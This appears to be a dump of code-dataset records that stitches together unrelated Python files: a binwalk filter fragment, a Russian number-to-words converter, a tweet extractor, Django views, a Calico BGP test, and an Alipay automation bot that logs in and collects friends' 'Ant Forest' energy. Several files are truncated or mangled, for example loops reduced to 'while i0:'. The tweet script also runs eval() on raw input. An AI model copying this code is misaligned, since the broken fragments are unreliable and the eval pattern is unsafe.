filters=[]):\n\t\t'''\n\t\tAdd or check case-insensitive grep filters against the supplied data string.\n\n\t\t@data - Data string to check grep filters against. Not required if filters is specified.\n\t\t@filters - Regex, or list of regexs, to add to the grep filters list. Not required if data is specified.\n\n\t\tReturns None if data is not specified.\n\t\tIf data is specified, returns True if the data contains a grep filter, or if no grep filters exist.\n\t\tIf data is specified, returns False if the data does not contain any grep filters.\n\t\t'''\n\t\t# Add any specified filters to self.grep_filters\n\t\tif filters:\n\t\t\tif not isinstance(filters, type([])):\n\t\t\t\tgfilters = [filters]\n\t\t\telse:\n\t\t\t\tgfilters = filters\n\n\t\t\tfor gfilter in gfilters:\n\t\t\t\t# Filters are case insensitive\n\t\t\t\tself.grep_filters.append(re.compile(gfilter))\n\n\t\t# Check the data against all grep filters until one is found\n\t\tif data is not None:\n\t\t\t# If no grep filters have been created, always return True\n\t\t\tif not self.grep_filters:\n\t\t\t\treturn True\n\n\t\t\t# Filters are case insensitive\n\t\t\tdata = data.lower()\n\n\t\t\t# If a filter exists in data, return True\n\t\t\tfor gfilter in self.grep_filters:\n\t\t\t\tif gfilter.search(data):\n\t\t\t\t\treturn True\n\n\t\t\t# Else, return False\n\t\t\treturn False\n\t\n\t\treturn None\n\n\tdef clear(self):\n\t\t'''\n\t\tClears all include, exclude and grep filters.\n\t\t\n\t\tRetruns None.\n\t\t'''\n\t\tself.filters = []\n\t\tself.grep_filters = []\n","sub_path":"src/binwalk/filter.py","file_name":"filter.py","file_ext":"py","file_size_in_byte":6749,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"565139182","text":"\ndef classes (N):\n\tn_str = str(N)\n\tn_cls = len(n_str)//3 + 1\n\ti = 0\n\tli = list()\n\twhile i0:\n\t\t\tout = ten[rod][int(spisok[0])]\n\t\treturn(out)\n\tif dlina==2:\n\t\tif int(spisok[0])==1 and int(spisok[1])!=0:\n\t\t\tout = num_20[int(spisok[1])]\n\t\tif int(spisok[0])>=1 and int(spisok[1])==0:\n\t\t\tout = tens[int(spisok[0])]\n\t\tif int(spisok[0])>1 and int(spisok[1])!=0:\n\t\t\tout = tens[int(spisok[0])] +' '+ ten[rod][int(spisok[1])]\n\t\t# для значений начинающихся на ноль\n\t\t# в результате удаления 1-го символа из 3-х значного числа\n\t\tif int(spisok[0])==0 and int(spisok[1])>=1:\n\t\t\tout = ten[rod][int(spisok[1])]\n\t\tif int(spisok[0])==0 and int(spisok[1])==0:\n\t\t\tout = ''\n\t\treturn(out)\n\ndef rod_function(numbers,position,ten,num_20,tens):\n\tif position==0 or position>1:\n\t\trod = 0\n\t\tout = two_symbol(numbers,rod,ten,num_20,tens)\n\tif position==1:\n\t\trod = 1\n\t\tout = two_symbol(numbers,rod,ten,num_20,tens)\n\treturn(out)\n\ndef trhree_two_symbol(numbers,position,ten,num_20,tens,hundred):\n\tif len(numbers)<3:\n\t\tout = rod_function(numbers,position,ten,num_20,tens)\n\t\treturn(out)\n\telse:\n\t\tspisok = list(numbers)\n\t\tnew_numbers = numbers[1:]\n\t\tnumber_B = rod_function(new_numbers,position,ten,num_20,tens)\n\t\tout = hundred[int(spisok[0])] + ' ' + str(number_B)\n\t\t#Убираем лишний пробел\n\t\tif int(spisok[1])==0 and int(spisok[2])==0 :\n\t\t\tout = hundred[int(spisok[0])]\n\t\tif int(spisok[0])==0 and int(spisok[1])==0 :\n\t\t\tout = number_B\n\t\tif int(spisok[0])==0 and int(spisok[1])>=1 :\n\t\t\tout = number_B\n\t\treturn(out)\n\ndef last(out,position,last_chance,summ):\n\tif position==0:\n\t\treturn(out)\n\tif position==1:\n\t\tif summ==0:\n\t\t\tstr_thousand =''\n\t\telse:\n\t\t\tstr_thousand = out +' '+ other[position]\t\n\t\t\tif last_chance=='а':\n\t\t\t\tstr_thousand = out +' '+ other[position]+last_chance\n\t\t\tif last_chance=='е' or last_chance=='и':\n\t\t\t\tstr_thousand = out +' '+ other[position]+'и'\n\t\treturn(str_thousand)\n\tif position>1:\n\t\tif summ==0:\n\t\t\tstr_other =''\n\t\telse:\n\t\t\tstr_other = out +' '+ other[position]+'ов'\n\t\t\tif last_chance=='н':\n\t\t\t\tstr_other = out +' '+ other[position]\n\t\t\tif last_chance=='а' or last_chance=='и' or last_chance=='е':\n\t\t\t\tstr_other = out +' '+ other[position]+'а'\n\t\treturn(str_other)\n\ndef concatination(save):\n\t\t\n\tprint(save)\n\t\n\n\n\nif __name__ == '__main__':\n\n\tten=[['','один','два','три','четыре','пять','шесть','семь', 'восемь','девять'],\n\t\t['','одна','две','три','четыре','пять','шесть','семь', 'восемь','девять']]\n\tnum_20=['','одиннадцать','двенадцать','тринадцать','четырнадцать' ,'пятнадцать','шестнадцать','семнадцать','восемнадцать','девятнадцать']\n\ttens=['','десять','двадцать','тридцать','сорок','пятьдесят','шестьдесят','семьдесят' ,'восемьдесят','девяносто']\n\thundred=['','сто','двести','триста','четыреста','пятьсот','шестьсот', 'семьсот','восемьсот','девятьсот']\n\tother = ['','тысяч','миллион','миллиард','триллион','квадриллион','квинтиллион']\n\n\tprint(\"Введите число:\")\n\tN = input()\n\tif int(N)==0:\n\t\tprint('ноль')\n\telse:\n\t\tresult_1 = classes(N)\n\t\t#Избавляемся от пустот\n\t\tresult = [x for x in result_1 if x]\n\t\tresult.reverse()\n\t\tnumbers_class = len(result)\n\t\tsave_class = len(result)-1\n\t\tsave = list()\n\t\ti=0\n\t\twhile i 1:\n try:\n tweet = eval(tweet_raw.replace(\"null\", \"None\").replace(\"false\", \"False\").replace(\"true\", \"True\"))\n tweet = tweet[\"text\"]\n tweets.append(tweet)\n except:\n print(\"Unexpected error:\", sys.exc_info()[0])\noutputFile = open(\"tweets\", \"w\")\noutputFile.write(\"\\n\".join(tweets))\noutputFile.close()\n","sub_path":"preprocess/retrieve_tweets_raw.py","file_name":"retrieve_tweets_raw.py","file_ext":"py","file_size_in_byte":773,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"512716484","text":"import global_stuff as gs\n\n\nclass PlasmaShotgun:\n def __init__(self):\n self.is_ready = True\n #self.cooldown = int(gs.CONFIG[\"PLASMA SHOTGUN\"][\"COOLDOWN\"])\n self.num_of_bullets = int(gs.CONFIG[\"PLASMA SHOTGUN\"][\"NUM_OF_BULLETS\"])\n self.max_delay = int(gs.CONFIG[\"PLASMA SHOTGUN\"][\"MAX_DELAY\"])\n self.delay = 0 # waiting time between two shots\n\n def update(self):\n if not self.is_ready:\n self.delay += gs.dt\n if self.delay >= self.max_delay:\n self.delay = 0\n self.is_ready = True\n\n def shoot(self, angle, position):\n self.is_ready = False\n\n return projectiles","sub_path":"source/weapons.py","file_name":"weapons.py","file_ext":"py","file_size_in_byte":663,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"426213718","text":"import pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport seaborn as sns\nfrom sklearn.linear_model import LogisticRegression\nfrom sklearn.cross_validation import train_test_split\n\ndef missing_value(df):\n col = df.columns\n for i in col:\n if df[i].isnull().sum()>0:\n df[i].fillna(df[i].mode()[0],inplace=True)\n \ndef category_type(df):\n col = df.columns\n for i in col:\n if df[i].nunique()<=104:\n df[i] = df[i].astype('category')\n \ndef OHE(df1,df2,column):\n cat_col = column\n len_df1 = df1.shape[0]\n \n df = pd.concat([df1,df2],ignore_index=True)\n c2,c3 = [],{}\n \n print('Categorical feature',len(column))\n for c in cat_col:\n if df[c].nunique()>2 :\n c2.append(c)\n c3[c] = 'ohe_'+c\n \n df = pd.get_dummies(df, prefix=c3, columns=c2,drop_first=True)\n\n df1 = df.loc[:len_df1-1]\n df2 = df.loc[len_df1:]\n print('Train',df1.shape)\n print('Test',df2.shape)\n return df1,df2\n\ntrain = pd.read_csv('train.csv')\ntest = pd.read_csv('test.csv')\n\ntrain = train.drop(ps_cal,axis =1)\ntest = test.drop(ps_cal,axis=1)\n\nmissing_value(train)\nmissing_value(test)\n\ncategory_type(train)\ncategory_type(test)\n\ntot_cat_col = list(train.select_dtypes(include=['category']).columns)\ntrain1,test1 = OHE(train,test,tot_cat_col)\n\nX = train1.drop(['target','id'],axis=1)\ny = train1['target'].astype('category')\nx_test = test1.drop(['target','id'],axis=1)\n\n\nX_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.3, random_state=0)\nlr = LogisticRegression(class_weight='balanced')\nlr.fit(X_train, y_train)\npredicted = lr.predict(X_test)\n\n\nfrom sklearn.metrics import confusion_matrix\nconfusion_matrix = confusion_matrix(y_test, predicted)\nprint(\"Confusion matrix\\n\", confusion_matrix)\nprint('Accuracy of logistic regression classifier on test set: {:.2f}'.format(lr.score(X_test, y_test)))\nresult = pd.DataFrame({ 'id':test['id'], 'target':lr.predict_proba(x_test)[:, 1] })\nresult.to_csv('submission_file.csv', index = False)","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2064,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"591036340","text":"import json\nimport matplotlib.pyplot as plt\nfrom flask import request\nfrom flask_cors import cross_origin\n\nfrom etl.data_utils import load_data\nfrom visualization import visual\n\n\n@visual.route('/hist', methods=['POST'])\n@cross_origin()\ndef hist_plot():\n if request.method == 'POST':\n data = request.get_data()\n json_data = json.loads(data.decode('utf-8'))\n collection = json_data['collection']\n feature = json_data['feature']\n\n data = load_data(collection)\n grouped = data.groupby('label')\n label1_df = grouped.get_group(1)\n label0_df = grouped.get_group(0)\n\n plt.figure(figsize=(10, 7))\n plt.suptitle(feature, fontsize=14)\n\n plt.subplot(211)\n label0_df[feature].plot(kind='hist')\n plt.xlabel('label=0')\n\n plt.subplot(212)\n label1_df[feature].plot(kind='hist')\n plt.xlabel('label=1')\n\n from io import BytesIO\n fig_file = BytesIO()\n plt.savefig(fig_file, format='png')\n fig_file.seek(0) # rewind to beginning of file\n import base64\n hist_png = base64.b64encode(fig_file.getvalue())\n return hist_png\n","sub_path":"web/backend/src/visualization/histplot.py","file_name":"histplot.py","file_ext":"py","file_size_in_byte":1163,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"619971303","text":"# Copyright (c) 2015-2016 Tigera, Inc. All rights reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\nimport re\n\nfrom nose.plugins.attrib import attr\n\nfrom tests.st.test_base import TestBase\nfrom tests.st.utils.docker_host import DockerHost\nfrom tests.st.utils.constants import (DEFAULT_IPV4_ADDR_1, DEFAULT_IPV4_ADDR_2,\n LARGE_AS_NUM)\nfrom tests.st.utils.utils import check_bird_status\n\n\"\"\"\nTest \"calicoctl bgp\" and \"calicoctl node bgp\" commands.\n\nTesting should be focused around the different topologies that we support.\n Mesh is covered (a little) by existing multi host tests (done)\n Single RR cluster (done)\n AS per ToR\n AS per calico node\n\nTest IPv4 and IPv6\nTwo threads to the testing:\n Function of the commands (which we already are testing) - see below\n BGP functionality in the different topologies\n\nTODO - rework BGP tests.\n\"\"\"\n\n\nclass TestGlobalPeers(TestBase):\n\n @attr('slow')\n def test_global_peers(self):\n \"\"\"\n Test global BGP peer configuration.\n\n Test by turning off the mesh and configuring the mesh as\n a set of global peers.\n \"\"\"\n with DockerHost('host1', start_calico=False) as host1, \\\n DockerHost('host2', start_calico=False) as host2:\n\n # Start both hosts using specific AS numbers.\n host1.start_calico_node(\"--as=%s\" % LARGE_AS_NUM)\n host2.start_calico_node(\"--as=%s\" % LARGE_AS_NUM)\n\n # Create the network on host1, but it should be usable from all\n # hosts.\n workload_host1 = host1.create_workload(\"workload1\")\n workload_host2 = host2.create_workload(\"workload2\")\n\n # Create a profile to associate with both workloads\n host1.calicoctl(\"profile add TEST_GROUP\")\n\n # Add the workloads to Calico networking\n host1.calicoctl(\"container add %s %s\" % (workload_host1,\n DEFAULT_IPV4_ADDR_1))\n host2.calicoctl(\"container add %s %s\" % (workload_host2,\n DEFAULT_IPV4_ADDR_2))\n\n # Now add the profiles - one using set and one using append\n host1.calicoctl(\"container %s profile set TEST_GROUP\" % workload_host1)\n host2.calicoctl(\"container %s profile append TEST_GROUP\" % workload_host2)\n\n # Allow network to converge\n workload_host1.assert_can_ping(DEFAULT_IPV4_ADDR_2, retries=10)\n\n # Turn the node-to-node mesh off and wait for connectivity to drop.\n host1.calicoctl(\"bgp node-mesh off\")\n workload_host1.assert_cant_ping(DEFAULT_IPV4_ADDR_2, retries=10)\n\n # Configure global peers to explicitly set up a mesh. This means\n # each node will try to peer with itself which will fail.\n host1.calicoctl(\"bgp peer add %s as %s\" % (host2.ip, LARGE_AS_NUM))\n host1.calicoctl(\"bgp peer add %s as %s\" % (host1.ip, LARGE_AS_NUM))\n\n # Allow network to converge\n workload_host1.assert_can_ping(DEFAULT_IPV4_ADDR_2, retries=10)\n\n # Check connectivity in both directions\n self.assert_ip_connectivity(workload_list=[workload_host1,\n workload_host2],\n ip_pass_list=[DEFAULT_IPV4_ADDR_1,\n DEFAULT_IPV4_ADDR_2])\n\n # Check the BGP status on each host. Connections from a node to\n # itself will be idle since this is invalid BGP configuration.\n check_bird_status(host1, [(\"global\", host1.ip, \"Idle\"),\n (\"global\", host2.ip, \"Established\")])\n check_bird_status(host2, [(\"global\", host1.ip, \"Established\"),\n (\"global\", host2.ip, \"Idle\")])\n","sub_path":"tests/st/bgp/test_global_peers.py","file_name":"test_global_peers.py","file_ext":"py","file_size_in_byte":4434,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"289107122","text":"# -*- coding:utf-8 -*-\r\nimport os\r\n\r\ndef findConfig():\r\n\tfileName = '.config'\r\n\tprefix = ''\r\n\tresult = False;\r\n\r\n\tfor i in range( 0, 3 ):\r\n\t\tif os.path.isdir( prefix or './' ):\r\n\t\t\tif os.path.isfile( prefix + fileName ):\r\n\t\t\t\tresult = prefix + fileName\r\n\t\t\t\tbreak;\r\n\r\n\t\t\tprefix += '../'\r\n\r\n\t\telse:\r\n\t\t\tbreak\r\n\r\n\treturn result\r\n\r\nif __name__ == '__main__':\r\n\tfindConfig()\r\n","sub_path":"vimfiles/plugin.bak/autoCommand/old/findConfig.py","file_name":"findConfig.py","file_ext":"py","file_size_in_byte":372,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"597983948","text":"\"\"\"编写视图函数\"\"\"#2.视图\nfrom django.shortcuts import render\nfrom django.http import HttpResponseRedirect, Http404\nfrom django.core.urlresolvers import reverse\nfrom django.contrib.auth.decorators import login_required\n\nfrom .models import Topic,Entry \nfrom .forms import TopicForm,EntryForm\n\n# Create your views here.在这里创建视图\n\n#只有index()视图不应用装饰器\ndef index(request):\n \"\"\"学习笔记的主页\"\"\"\n return render(request,'learning_logs/index.html') #原始请求对象,可用于创建网页的模板\n\n\n@login_required #装饰器\ndef topics(request):\n \"\"\"显示所有的主题\"\"\"\n #只允许用户访问自己的主题\n topics = Topic.objects.filter(owner=request.user).order_by('date_added') #最高层的数据\n context = {'topics':topics}\n return render(request, 'learning_logs/topics.html', context)\n \n@login_required #装饰器\ndef topic(request, topic_id):\n \"\"\"显示单个主题及其所有的条目\"\"\"\n topic = Topic.objects.get(id=topic_id)\n #确认主题的所有者是当前登录的用户\n check_topic_name(topic, request)\n\n entries = topic.entry_set.order_by('-date_added')\n context = {'topic':topic, 'entries':entries}\n return render(request, 'learning_logs/topic.html', context)\n\ndef check_topic_name(topic, request): #练习19-3\n #确认主题的所有者是当前登录的用户\n if topic.owner != request.user:\n raise Http404 \n\n@login_required #装饰器\ndef new_topic(request):\n \"\"\"添加新主题\"\"\"\n if request.method != 'POST': #未提交数据,创建一个新表单\n form = TopicForm()\n else: #POST提交的数据\n form = TopicForm(request.POST)\n if form.is_valid():\n new_topic = form.save(commit=False)\n new_topic.owner = request.user\n new_topic.save()\n form.save()\n return HttpResponseRedirect(reverse('learning_logs:topics'))\n \n context = {'form':form}\n return render(request,'learning_logs/new_topic.html',context) \n\n@login_required #装饰器 \ndef new_entry(request,topic_id):\n \"\"\"在特定的主题中创建新条目\"\"\"\n topic = Topic.objects.get(id=topic_id)\n #确认主题的所有者是当前登录的用户 #练习19-4,保护页面new_entry###\n check_topic_name(topic, request)\n \n if request.method != 'POST': #未提交数据,创建一个新表单\n form = EntryForm()\n else: #POST提交的数据,对数据进行处理\n form = EntryForm(data=request.POST)\n if form.is_valid():\n new_entry = form.save(commit=False)\n new_entry.topic = topic\n new_entry.save()\n return HttpResponseRedirect(reverse('learning_logs:topic',args=[topic_id]))\n \n context = {'topic':topic,'form':form}\n return render(request,'learning_logs/new_entry.html',context) \n\n@login_required #装饰器\ndef edit_entry(request,entry_id):\n \"\"\"编辑既有条目\"\"\"\n entry = Entry.objects.get(id=entry_id)\n topic = entry.topic\n #确认主题的所有者是当前登录的用户\n check_topic_name(topic, request)\n \n if request.method != 'POST': #初次请求,使用当前条目填充表单\n form = EntryForm(instance=entry)\n else: #POST提交的数据,对数据进行处理\n form = EntryForm(instance=entry, data=request.POST)\n if form.is_valid():\n form.save()\n return HttpResponseRedirect(reverse('learning_logs:topic',args=[topic.id]))\n \n context = {'entry':entry,'topic':topic,'form':form}\n return render(request,'learning_logs/edit_entry.html',context) \n","sub_path":"learning_logs/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3657,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"446695798","text":"import cv2\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport math\n\nclass Tratador_de_Imagem(object):\n\t\n\t#questao01\n\tdef alarg_contraste(imagem, limiar):\n\t\tn = 0\n\t\twhile n < imagem.shape[0]:\n\t\t\tj = 0\n\t\t\twhile j < imagem.shape[1]:\n\t\t\t\tif imagem[n][j] <= limiar:\n\t\t\t\t\timagem[n][j] = 0\n\t\t\t\telse:\n\t\t\t\t\timagem[n][j] = 255\n\t\t\t\tj = j + 1\n\t\t\tn = n + 1\t\t\n\n\t#questao02\n\tdef trans_log(imagem, c):\n\t\tn = 0\n\t\twhile n < imagem.shape[0]:\n\t\t\tj = 0\n\t\t\twhile j < imagem.shape[1]:\n\t\t\t\tvalor_pixel = imagem[n][j]/255\n\t\t\t\tnovo_valor = c*math.log(1 + valor_pixel, 10)\n\t\t\t\timagem[n,j] = novo_valor*255\n\t\t\t\tj = j + 1\n\t\t\tn = n + 1\t\n\n\t#questao03\n\tdef realce_contraste(imagem, gama, c):\n\t\tn = 0\n\t\twhile n < imagem.shape[0]:\n\t\t\tj = 0\n\t\t\twhile j < imagem.shape[1]:\n\t\t\t\tvalor_pixel = imagem[n][j]/255\n\t\t\t\ttrans = c * math.pow(valor_pixel, gama)\n\t\t\t\timagem[n][j] = trans*255\n\t\t\t\tj = j + 1\n\t\t\tn = n + 1\n\n\t#questao04\n\tdef plano_de_bits(imagem, plano):\n\t\tn = 0\n\t\twhile n < imagem.shape[0]:\n\t\t\tj = 0\n\t\t\twhile j < imagem.shape[1]:\n\t\t\t\tpixel = imagem[n][j]\n\t\t\t\tif(pixel & (1 << plano-1)):\n\t\t\t\t\timagem[n][j] = 255\n\t\t\t\telse:\n\t\t\t\t\timagem[n][j] = 0\n\t\t\t\tj = j + 1\n\t\t\tn = n + 1\n\n\t#questao05\n\tdef raioX(imagem):\n\t\tn = 0\n\t\twhile n < imagem.shape[0]:\n\t\t\tj = 0\n\t\t\twhile j < imagem.shape[1]:\n\t\t\t\timagem[n][j] = 255 - imagem[n][j]\n\t\t\t\tj = j + 1\n\t\t\tn = n + 1\n\n\t\t\ndef mudarMatriz(imagem):\n\treturn np.array(imagem)","sub_path":"pdi.py","file_name":"pdi.py","file_ext":"py","file_size_in_byte":1369,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"44187296","text":"t=int(input())\nfor _ in range(t):\n\n n,m=map(int,input().strip().split())\n if n==1 or m==1:\n print(\"YES\")\n elif n==m and n==2:\n print(\"YES\")\n else:\n print(\"NO\")\n","sub_path":"Puzzle Pieces .py","file_name":"Puzzle Pieces .py","file_ext":"py","file_size_in_byte":193,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"405475512","text":"import sys\nimport os\nimport uiautomator2 as u2\nimport time\nimport threading\nimport _thread\nimport random\nimport schedule\nimport json\nfrom skimage.measure import compare_ssim\nimport cv2\nfrom datetime import datetime, timedelta\n\nimport hehe_common\n\nFLAT_EXIT = False\nDEBUG = False\nglobal scroll_count\nglobal layoutCountInPage\nglobal title_bar\nglobal share_target\n\n# sudo python3 -m uiautomator2 init #设备上会多一个uiautomator的应用\n# sudo python3 -m weditor\n\ndef delay_random(x):\n\ttempTime = x /10 * random.uniform(1, 10)\n\t#print((\"delay %s s...\") % (tempTime))\n\ttime.sleep(tempTime)\n\ndef slow_to_bottom(d):\n\ttry:\n\t\td(scrollable=True).scroll.toEnd(steps=300, max_swipes=350)\n\texcept:\n\t\td(scrollable=True).scroll.toEnd()\n\t\tpass\n\ndef change_boolean(s):\n\tif s == \"True\":\n\t\treturn True\n\telse:\n\t\treturn False\n\ndef pressBack(d):\n\td.press(\"back\")\n\td.screenshot(\"1.jpg\")\n\tif compare_image(\"1.jpg\",\"home.jpg\") > 0.999:\n\t\td.app_start(\"cn.xuexi.android\")\n\t\ttime.sleep(0.2)\n\ndef unlock_pattern_screen():\n\td = u2.connect()\n\twhile True:\n\t\tif d(resourceId=\"com.android.systemui:id/keyguard_bottom_area\").exists:\n\t\t\td.screen_on()\n\t\t\td.swipe_points([(0.494, 0.874), (0.483, 0.244)],0.05) #上滑动\n\t\t\ttime.sleep(0.5)\n\t\t\td.swipe_points([(0.251, 0.562),(0.505, 0.56), (0.756, 0.56),(0.756, 0.687),(0.751, 0.813)], 0.05)#解锁 \n\t\t\tprint(\"Try unlock.\")\n\t\t\t\n\t\t\tprint(\"Try unlock successful!.\")\n\t\t\tbreak\n\t\telse:\n\t\t\tprint(\"Has unlock.\")\n\t\t\tbreak\n\t\ttime.sleep(1)\n\t\ndef click_box(d):\n\twhile True:\n\t\tif(FLAT_EXIT == True):\n\t\t\tbreak\n\t\ttime.sleep(0.2)\n\t\t\n\t\ttry:\n\t\t\tif d.xpath('//*[@resource-id=\"com.alipay.mobile.antui:id/btn_confirm\"]').exists:\n\t\t\t\td.xpath('//*[@resource-id=\"com.alipay.mobile.antui:id/btn_confirm\"]').click() #下一步\n\t\texcept:\n\t\t\tpass\n\t\t\t\t\n\t\ttry:\n\t\t\tif d.xpath('//*[@resource-id=\"com.taobao.taobao:id/uik_mdButtonDefaultPositive\"]').exists:\n\t\t\t\td.xpath('//*[@resource-id=\"com.taobao.taobao:id/uik_mdButtonDefaultPositive\"]').click()\n\t\t\t\tcontinue\n\t\t\tif d.exists(text=\"允许\"):\n\t\t\t\td(resourceId=\"com.android.packageinstaller:id/permission_allow_button\").click() #允许\n\t\t\t\t\n\t\texcept:\n\t\t\tpass\n\t\t\t\n\t\ttry:\n\t\t\tif d.exists(text=\"我知道了\"):\n\t\t\t\td(resourceId=\"cn.xuexi.android:id/btn_right_text\").click() #我知道了\n\t\texcept:\n\t\t\tpass\n\t\t\t\n\t\ttry:\n\t\t\tif d(resourceId=\"com.taobao.taobao:id/uik_mdButtonDefaultPositive\").exists:\n\t\t\t\td(resourceId=\"com.taobao.taobao:id/uik_mdButtonDefaultPositive\").click()\n\t\t\t\tcontinue\n\t\t\tif d(resourceId=\"com.taobao.taobao:id/yes\").exists:\n\t\t\t\td(resourceId=\"com.taobao.taobao:id/yes\").click()\n\t\t\t\tcontinue\n\t\t\tif d(description=u\"同意\").exists:\n\t\t\t\td(description=u\"同意\").click()\n\t\texcept:\n\t\t\tpass\n\ndef help_he_gather(d):#帮他收取\n\ttime.sleep(0.2)\n\tfor i in range(1,10):\n\t\tstrPath = '//*[@resource-id=\\\"J_barrier_free\\\"]/android.widget.Button[' + str(i) + ']'\n\t\tif d.xpath(strPath).exists:\n\t\t\ttime.sleep(0.2)\n\t\t\td.xpath(strPath).click()\n\t\telse:\n\t\t\tbreak;\n\ndef gather_top_tree(d,count):\n\tfor i in range(1,count+1):\n\t\ttime.sleep(1)\n\t\tstr_path = '//*[@resource-id=\"J_rank_list\"]/android.view.View[' + str(i) + ']'\n\t\tprint(str_path)\n\t\tif d.xpath(str_path).exists:\n\t\t\td.xpath(str_path).click()\n\t\t\twhile(True): #等待发消息控件出现,说明页面已经刷新开了\n\t\t\t\ttime.sleep(0.1)\n\t\t\t\tif d.xpath('//*[@content-desc=\"发消息\"]').exists:\n\t\t\t\t\tbreak\n\t\t\tfor el in d.xpath('//*[starts-with(@content-desc,\"收集能量\")]').all():\n\t\t\t\ttime.sleep(1)\n\t\t\t\tel.click()\n\t\t\t\ttime.sleep(1)\n\t\t\t#help_he_gather(d)\n\t\t\td.press(\"back\")\n\ndef gather_all_friends(d,count):\n\tfor i in range(4,count +1):\n\t\tstrPath = '//*[@content-desc=\\\"' + str(i) + '\\\"]'\n\t\twhile True:\n\t\t\tif d.xpath(strPath).exists:\n\t\t\t\td.xpath(strPath).click()\n\t\t\t\twhile(True): #等待发消息控件出现,说明页面已经刷新开了\n\t\t\t\t\ttime.sleep(0.1)\n\t\t\t\t\tif d.xpath('//*[@content-desc=\"发消息\"]').exists or d.xpath('//*[@content-desc=\"攻略\"]').exists:\n\t\t\t\t\t\tbreak\n\t\t\t\tfor el in d.xpath('//*[starts-with(@content-desc,\"收集能量\")]').all():\n\t\t\t\t\ttime.sleep(1)\n\t\t\t\t\tprint(\"收取能量\")\n\t\t\t\t\tel.click()\n\t\t\t\t\ttime.sleep(1)\n\t\t\t\t#help_he_gather(d)\n\t\t\t\td.press(\"back\")\n\t\t\t\tbreak\n\t\t\telse:\n\t\t\t\td(scrollable=True).scroll.vert.forward(steps=100)\n\ndef wait_xpath_element_click(d,str_path,wait_period):\n\ti = 0.0\n\tstep = 0.2\n\twhile True:\n\t\ttime.sleep(step)\n\t\tif d.xpath(str_path).exists:\n\t\t\td.xpath(str_path).click()\n\t\t\tbreak\n\t\ti += step\n\t\tif i > wait_period:\n\t\t\tprint(\"[ERROR] wait too time for : \" + str_path)\n\t\t\tbreak;\ndef scrool_wait_xpath_element_click(d,str_path,wait_period):\n\ti = 0.0\n\tstep = 0.2\n\twhile True:\n\t\ttime.sleep(step)\n\t\tif d.xpath(str_path).exists:\n\t\t\td.xpath(str_path).click()\n\t\t\tbreak\n\t\telse:\n\t\t\td(scrollable=True).scroll.vert.forward(steps=100)\n\t\ti += step\n\t\tif i > wait_period:\n\t\t\tprint(\"[ERROR] wait too time for : \" + str_path)\n\t\t\tbreak;\ndef wait_xpath_element_appear(d,str_path,wait_period):\n\ti = 0.0\n\tstep = 0.2\n\twhile True:\n\t\ttime.sleep(step)\n\t\tif d.xpath(str_path).exists:\n\t\t\tbreak\n\t\ti += step\n\t\tif i > wait_period:\n\t\t\tprint(\"[ERROR] wait too time for : \" + str_path)\n\t\t\tbreak;\n\ndef zhifubao(username,passwd,count):\n\tglobal FLAT_EXIT\n\tapp_name = \"com.eg.android.AlipayGphone\"\n\td = u2.connect()\n\tunlock_pattern_screen()\n\ttime.sleep(2)\n\twait_period = 10\n\n\tFLAT_EXIT = False\n\td.app_stop(app_name);d.app_clear(app_name);d.app_start(app_name);time.sleep(5)\n\t_thread.start_new_thread(click_box, (d,))\n\td.implicitly_wait(15)\n\t\n\twait_xpath_element_click(d,'//*[@text=\"其他登录方式\"]',10)\n\n\twhile True:\n\t\ttime.sleep(0.2)\n\t\ti = 0.0;step = 0.2\n\t\tif d(resourceId=\"com.ali.user.mobile.security.ui:id/content\").exists:\n\t\t\td(resourceId=\"com.ali.user.mobile.security.ui:id/content\").send_keys(username)\n\t\t\td(resourceId=\"com.alipay.mobile.antui:id/button_text\").click()\n\t\t\tbreak\n\t\ti += step\n\t\tif i > wait_period:\n\t\t\tprint(\"[ERROR] wait too time for : input username\")\n\t\t\tbreak;\n\t\t\n\twhile True:\n\t\ttime.sleep(0.2)\n\t\ti = 0.0;step = 0.2\n\t\tif d(resourceId=\"com.ali.user.mobile.security.ui:id/content\", text=\"请输入登录密码\").exists:\n\t\t\td(resourceId=\"com.ali.user.mobile.security.ui:id/content\", text=\"请输入登录密码\").send_keys(passwd);\n\t\t\td(resourceId=\"com.ali.user.mobile.security.ui:id/loginButton\").click();\n\t\t\tbreak;\n\t\ti += step\n\t\tif i > wait_period:\n\t\t\tprint(\"[ERROR] wait too time for : input secret\")\n\t\t\tbreak;\n\n\tif count == 0:\n\t\ttime.sleep(10)\n\t\treturn\n\t\n\ttime.sleep(5)\n\twait_xpath_element_click(d,'//*[@text=\"更多\"]',10);time.sleep(0.2)\n\twait_xpath_element_appear(d,'//*[@text=\"充值中心\"]',10);time.sleep(0.2)\n\tscrool_wait_xpath_element_click(d,'//*[@text=\"蚂蚁森林\"]',10);time.sleep(0.2)\n\twait_xpath_element_appear(d,'//*[@content-desc=\"攻略\"]',10);time.sleep(0.2)\n\n\tfor el in d.xpath('//*[starts-with(@content-desc,\"收集能量\")]').all(): 